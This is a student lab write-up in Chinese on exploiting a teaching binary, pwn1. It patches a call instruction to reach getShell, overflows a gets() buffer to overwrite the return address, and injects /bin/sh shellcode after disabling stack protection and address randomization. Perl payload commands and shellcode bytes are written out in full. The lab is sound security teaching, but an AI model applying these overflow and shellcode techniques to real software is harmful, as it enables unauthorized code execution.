1.1实验目标:
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
♂
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
♂
1.2基础知识:
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
-
指令、参数
-
重要的是理解思路。
直接修改程序机器指令,改变程序执行流程:
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
首先我们拿到pwn1这个文件,我看大部分人都丢到kali里面做,我这个人比较懒(其实是Linux指令不太熟),能用图形界面就用图形界面,所以我直接用ida做的这一项(我觉得不会有人跟我一样的做法所以图片我就不加水印了)
我们首先用ida打开pwn1这个文件:
一大堆汇编代码,看的头痛,搜一下:
搜到了三个结果,我们可以看到第三条是用了call指令,双击进去:
我们可以看到地址高亮的那一行就是我们的call指令所在位置,ida这里有一点跟kali不一样,它没有直接显示调用哪里的foo函数,所以我们在这个foo这里右键它:
跳转到操作数,我们可以看到高亮了地址8048491,是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8就是跳转的意思。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
♂修改执行文件我用的winhex,有兴趣的同学可以下下来玩一下:
活用搜索功能,搜d7找到位置,改成c3:
另存为一下,然后这个新文件丢到kali里面打开(到头来还是要用):
我们可以看到已经正常getshell了,然后我们跑来试一下:
由此可见是成功了的
ps:我在测试中碰到了一件很奇怪的事情,明明ls显示了这个文件,但是就是跑不了,最后在中楷同学的kali上跑成功了(点名表扬),百度之后知道了应该是没有32位的运行库 ia32-libs的原因,但是我尝试装过了之后还是不行(开始自闭)耽误了很多时间,至今还在排查原因。。。
通过构造输入参数,造成BOF攻击,改变程序执行流:
首先我们反汇编一下这个程序,了解程序基本功能:
我们可以看到函数getShell,我们的目标是触发这个函数
该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞
在foo函数中我们可以看到:
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
这里读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
然后图中的call调用foo,同时在堆栈上压上返回地址值:0x80484ba
我们接下来确认输入字符串哪几个字符会覆盖到返回地址:
如图所示我们用info r指令查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址
所以我们就将getShell
的地址0x0804847d
把1234替换即可
由于数据按小端存储,我们的应该输入为11111111222222223333333344444444x7dx84x04x08
但是后来发现,我们没法通过键盘输入x7dx84x04x08
这样的16进制值
所以这里我们需要用到Perl这个解释型语言,输入:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
生成包括字符串的一个文件(x0a
表示回车)
使用16进制查看指令xxd
确认input文件内容
确认无误后用(cat input;cat) | ./pwn20165120
将input中的字符串作为可执行文件的输入
注入Shellcode并执行:
使用apt-get install execstack命令安装execstack,以便接下来可以设置易于攻击的环境(以前装过了,所以这个步骤就是这样的截图)
使用如下指令进行配置:
- execstack -s pwn1
- execstack -q pwn1
- more /proc/sys/kernel/randomize_va_space
- echo "0" > /proc/sys/kernel/randomize_va_space
- more /proc/sys/kernel/randomize_va_space
我们的目的是向foo函数输入参数,造成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改成shellcode开始的地址
使用命令 perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
注入,前面32个A用来填满buf,x04x03x02x01为预留的返回地址,下面找这个返回地址。
接下来我们要分两个终端分步进行:
-
在一个终端里用 (cat input_shellcode;cat) | ./pwn20165120 注入这段攻击,回车后把这个终端放在这里,然后去打开另一个终端。
-
在第二个终端中(如下图)
- ps -ef | grep pwn 查看pwn进程号
- 用gdb, attach 10181 去调试这个进程
- disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
- 用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址
- 用x/16x 0xffffd17c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd180
- 接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令
然后用命令perl -e 'print "A" x 32;print "x80xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
改地址,然后用(cat input_shellcode;cat) | ./pwn1执行程序,结果如下图:
可见已经成功,本次实验完成。
实验收获与感想:
本次实验总体来说比较顺利,但是还是碰到了相关问题,在kali 64位下运行 ./pwn1 会跳出来说没有这个文件或者目录,但是ls看又有这个文件,很是奇怪。然后经过了一系列的排查之后发现,其实原因很简单,是因为他没有32位的运行库 ia32-libs ,直接安装即可。下载链接http://pkgs.org/download/ia32-libs,下载mint 17 的deb 用软件中心安装就行 依赖啥的自动解决。有遇到一样的问题的同学可以参考一下。
什么是漏洞?漏洞的有什么危害?:
顾名思义所谓漏洞,应该是某种缺陷,比如说系统、硬件、软件等等有缺陷,而且可以被人利用的地方。
漏洞的危害小则无伤大雅,大则可以引起整个国家的严重损失。包括个人隐私信息、经济、乃至国家安全,都有可能受到漏洞的危害。